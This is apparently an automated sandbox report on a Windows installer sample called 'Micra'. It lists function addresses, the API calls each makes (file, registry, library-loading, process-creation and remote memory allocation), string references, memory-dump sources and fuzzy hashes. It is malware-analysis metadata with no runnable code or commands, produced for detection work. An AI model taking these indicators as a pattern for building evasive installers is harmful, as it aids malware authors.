Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsb308A.tmp
API String ID: 2655323295-72882985
Opcode ID: 92402a25989933958cde62f5f4c9b52c1ec49fe5de432524af3fa63fefbfe55f
Instruction ID: 28bb7349c914475f87156df35d792e00a89fe725c314cf9248e6016116a520b3
Opcode Fuzzy Hash: 92402a25989933958cde62f5f4c9b52c1ec49fe5de432524af3fa63fefbfe55f
Instruction Fuzzy Hash: 81115171E00115BEDF10EFA5EE89AAEBA74EB54714F20403BF908F61D1C6B85D419B29

Function 004059B5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405F2F: lstrcpynA.KERNEL32(?,?,00000400,0040328D,00422F00,NSIS Error,?,00000006,00000008,0000000A), ref: 00405F3C

Part of subcall function 00405960: CharNextA.USER32(?,?,Esophagostenosis199.Dok14,?,004059CC,Esophagostenosis199.Dok14,Esophagostenosis199.Dok14,74DF3410,?,C:\Users\user\AppData\Local\Temp\,00405717,?,74DF3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 0040596E
Part of subcall function 00405960: CharNextA.USER32(00000000), ref: 00405973
Part of subcall function 00405960: CharNextA.USER32(00000000), ref: 00405987

lstrlenA.KERNEL32(Esophagostenosis199.Dok14,00000000,Esophagostenosis199.Dok14,Esophagostenosis199.Dok14,74DF3410,?,C:\Users\user\AppData\Local\Temp\,00405717,?,74DF3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405A08
GetFileAttributesA.KERNELBASE(Esophagostenosis199.Dok14,Esophagostenosis199.Dok14,Esophagostenosis199.Dok14,Esophagostenosis199.Dok14,Esophagostenosis199.Dok14,Esophagostenosis199.Dok14,00000000,Esophagostenosis199.Dok14,Esophagostenosis199.Dok14,74DF3410,?,C:\Users\user\AppData\Local\Temp\,00405717,?,74DF3410,C:\Users\user\AppData\Local\Temp\), ref: 00405A18

Strings

Esophagostenosis199.Dok14, xrefs: 004059BB, 004059C0, 004059C6, 00405A01, 00405A07, 00405A0F, 00405A17
C:\Users\user\AppData\Local\Temp\, xrefs: 004059B5

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\Users\user\AppData\Local\Temp\$Esophagostenosis199.Dok14
API String ID: 3248276644-3026383727
Opcode ID: 1798501a893aa51cf33724b967df125bb5b79cc73e901e6a487cbcc52799f4ac
Instruction ID: 1994e1ad2c5e9883225bba15f0e05bd5e2410f9dbe362fa4db8952c1f9a8588a
Opcode Fuzzy Hash: 1798501a893aa51cf33724b967df125bb5b79cc73e901e6a487cbcc52799f4ac
Instruction Fuzzy Hash: B3F04CB6205D5296C622333A1C066EF2A55CE86334719463FF891B13D2DB3C8913DD7E

Function 00401FFD Relevance: 6.1, APIs: 4, Instructions: 73libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNELBASE(00000000,00000001,000000F0), ref: 00402028

Part of subcall function 00405056: lstrlenA.KERNEL32(0041F4E8,00000000,0040E8C0,00000000,?,?,?,?,?,?,?,?,?,004030B1,00000000,?), ref: 0040508F
Part of subcall function 00405056: lstrlenA.KERNEL32(004030B1,0041F4E8,00000000,0040E8C0,00000000,?,?,?,?,?,?,?,?,?,004030B1,00000000), ref: 0040509F
Part of subcall function 00405056: lstrcatA.KERNEL32(0041F4E8,004030B1,004030B1,0041F4E8,00000000,0040E8C0,00000000), ref: 004050B2
Part of subcall function 00405056: SetWindowTextA.USER32(0041F4E8,0041F4E8), ref: 004050C4
Part of subcall function 00405056: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004050EA
Part of subcall function 00405056: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00405104
Part of subcall function 00405056: SendMessageA.USER32(?,00001013,?,00000000), ref: 00405112

LoadLibraryExA.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 00402038
GetProcAddress.KERNEL32(00000000,?), ref: 00402048
FreeLibrary.KERNELBASE(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 004020B2

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID:
API String ID: 2987980305-0
Opcode ID: 3ec78819d622ed86bae178855df993612b78117d9056a0a9d79db71722311b1c
Instruction ID: 772c7401ca61f63a6a86f526de26f8a62e510dd82d200dd974b96084c7de1680
Opcode Fuzzy Hash: 3ec78819d622ed86bae178855df993612b78117d9056a0a9d79db71722311b1c
Instruction Fuzzy Hash: 7F21DB71B04225B7CF207FA48E49B6E7A70AB44358F20413BFB15B22D0D7BD8942D65E

Function 004015BB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

Part of subcall function 00405960: CharNextA.USER32(?,?,Esophagostenosis199.Dok14,?,004059CC,Esophagostenosis199.Dok14,Esophagostenosis199.Dok14,74DF3410,?,C:\Users\user\AppData\Local\Temp\,00405717,?,74DF3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 0040596E
Part of subcall function 00405960: CharNextA.USER32(00000000), ref: 00405973
Part of subcall function 00405960: CharNextA.USER32(00000000), ref: 00405987

GetFileAttributesA.KERNELBASE(00000000,00000000,00000000,0000005C,00000000,000000F0), ref: 0040160D

Part of subcall function 0040551C: CreateDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 0040555F

SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\entomostraca\nonmissionary,00000000,00000000,000000F0), ref: 0040163C

Strings

C:\Users\user\entomostraca\nonmissionary, xrefs: 00401631

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\entomostraca\nonmissionary
API String ID: 1892508949-2042944658
Opcode ID: c3dc61fa4864d68a63a0ff324977f2f4971824b7823c1438af4a242a8e85a59c
Instruction ID: a466de0d3f6f2377f24be2a4188d25ee0cffe6e715a209702fc6e54bc549958f
Opcode Fuzzy Hash: c3dc61fa4864d68a63a0ff324977f2f4971824b7823c1438af4a242a8e85a59c
Instruction Fuzzy Hash: 78112731608151EBCF217FB54C415BF2AB0DA96324B28053FE8D1B22E2D63D4D429A3F

Function 00405E16 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNELBASE(?,?,00000000,?,?,00000400,Call,0041F4E8,?,?,?,00000002,Call,?,0040605A,80000002), ref: 00405E5C
RegCloseKey.KERNELBASE(?,?,0040605A,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,?,0041F4E8), ref: 00405E67

Strings

Call, xrefs: 00405E19, 00405E4D

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: 7b6985f489d275b5e18cb7da4513705b49726bce843ff3f436f22320446d3563
Instruction ID: 33be00f72f12327029ad1653fb2bc99e6b823e337a66ede3503504709cbc349d
Opcode Fuzzy Hash: 7b6985f489d275b5e18cb7da4513705b49726bce843ff3f436f22320446d3563
Instruction Fuzzy Hash: 31015A72504209AEDF228F61CC09FEB3BA8EF55364F008426FE59A2190D778DA54CFA4

Function 004055CE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00421510,Error launching installer), ref: 004055F7
CloseHandle.KERNEL32(?), ref: 00405604

Strings

Error launching installer, xrefs: 004055E1

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 0a67d81f0dbc2c48957f366610cafbe47269508c26dde6c53db592e432081f5d
Instruction ID: f1ce92c91028e46d95f0eda4fe37c0312dcd0371124bcb88e834d1219d8c4f53
Opcode Fuzzy Hash: 0a67d81f0dbc2c48957f366610cafbe47269508c26dde6c53db592e432081f5d
Instruction Fuzzy Hash: 5BE04FF0A00209BFEB009B60EC05F7B7ABCEB00748F404961BD11F31A0E374A9108A79

Function 004069F0 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55cd16da708e23aec6a838b73e901bfe03af6665630861bb5c569519520454bd
Instruction ID: c387c58543e41996c7b199f294dd4e3f2d8ae9e2c90db5b1f56269fb3149e58b
Opcode Fuzzy Hash: 55cd16da708e23aec6a838b73e901bfe03af6665630861bb5c569519520454bd
Instruction Fuzzy Hash: 32A14271E00229CBDF28CFA8C8587ADBBB1FF44305F15806AD856BB281D7785A96DF44

Function 00406BF1 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 320ecdc90cbab0b9bf19e530f323a115307d17d478260d9a41c0a63678b5b88a
Instruction ID: c0a55b7bb8cda596ca91e270a613f9aea3b485865d608933a43e484043593474
Opcode Fuzzy Hash: 320ecdc90cbab0b9bf19e530f323a115307d17d478260d9a41c0a63678b5b88a
Instruction Fuzzy Hash: 45913374D00229CBDF28CF98C8587ADBBB1FF44305F15812AD816BB291C7785996DF48

Function 00406907 Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4092221e86ab5222082a79c128cb789b468c9c6112b2c9e1203115320ceab273
Instruction ID: 33bdc002aa07cba8751fe1bb89261eb1bbd9089b315c8d097eab8488b12144ec
Opcode Fuzzy Hash: 4092221e86ab5222082a79c128cb789b468c9c6112b2c9e1203115320ceab273
Instruction Fuzzy Hash: 19814575D04228DFDF24CFA8C8847ADBBB1FB44305F25816AD816BB291C7389A96DF44

Function 0040640C Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9b85a074dbd17559818524a47274955f7f908a271802c30195d609476ec7543
Instruction ID: 368e1e7272001cfb6f2dd5e39cf93d71f7d9f1f25059b380f60c2813f7b9aa4b
Opcode Fuzzy Hash: a9b85a074dbd17559818524a47274955f7f908a271802c30195d609476ec7543
Instruction Fuzzy Hash: 00818735D04228DBDF28CFA8C8447ADBBB1FB44305F21816AD856BB2C1D7785A96DF48

Function 0040685A Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05e0991df275fe04e69e24ab9d87d2bf1db0f1f681a575424d6ee50318c34d6b
Instruction ID: 563e9c7bfc12ab1e5735381274df4cd9413df1207b4ba467b436c4b8586dcceb
Opcode Fuzzy Hash: 05e0991df275fe04e69e24ab9d87d2bf1db0f1f681a575424d6ee50318c34d6b
Instruction Fuzzy Hash: C9713471D04228DFDF28CFA8C884BADBBB1FB44305F15806AD816B7291D7389996DF58

Function 00406978 Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51e8a78d7989ecdb0a9d35429efa0a8906fb135c8ca24dc2c1ed10a6651990fe
Instruction ID: 7154c5ac750784d404653f653373d782701dde13a8780768b6f209b569f9d9aa
Opcode Fuzzy Hash: 51e8a78d7989ecdb0a9d35429efa0a8906fb135c8ca24dc2c1ed10a6651990fe
Instruction Fuzzy Hash: 61714471D04228DBDF28CFA8C894BADBBB1FB44305F15806AD816BB291C7385996DF48

Function 004068C4 Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c27dc6e5a0a86cb3c75e96e92f3c4bfdd7bca547c1c201786b56e13d92a68def
Instruction ID: 6d4e519aaefd354d35621c14bbf49efb9ee6a20a3da98f77445617ba41e869e3
Opcode Fuzzy Hash: c27dc6e5a0a86cb3c75e96e92f3c4bfdd7bca547c1c201786b56e13d92a68def
Instruction Fuzzy Hash: 64715771D04229DBEF28CF98C844BADBBB1FF44305F15806AD816B7291C7389996DF48

Function 004024DF Relevance: 4.5, APIs: 3, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegEnumKeyA.ADVAPI32(00000000,00000000,?,000003FF), ref: 00402511
RegEnumValueA.ADVAPI32(00000000,00000000,?,?), ref: 00402524
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsb308A.tmp,00000000,00000011,00000002), ref: 0040253C

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: fcc7478efac8790cb65f2fc2ac921ec431ecf4c8fc47680fcb9af08646fc554f
Instruction ID: ef6c1c8de93ba874c4c9f78a8b9be625a776c1f18011becf49e8381ad91f8e57
Opcode Fuzzy Hash: fcc7478efac8790cb65f2fc2ac921ec431ecf4c8fc47680fcb9af08646fc554f
Instruction Fuzzy Hash: CC01B1B1A04105BFE7159F699D9CABF7ABCDF40348F10403EF405A61C0D6B85E419769

Function 100027E4 Relevance: 3.2, APIs: 2, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(00000000), ref: 100028A3
GetLastError.KERNEL32 ref: 100029AA

Memory Dump Source

Source File: 00000000.00000002.3428984711.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3428968276.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.3428998849.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.3429054882.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Micra.jbxd

Similarity

API ID: AllocErrorLastVirtual
String ID:
API String ID: 497505419-0
Opcode ID: 06dad9edf242867fa2d433b3a0ae819eccaab9780a225514c3bf782f990559be
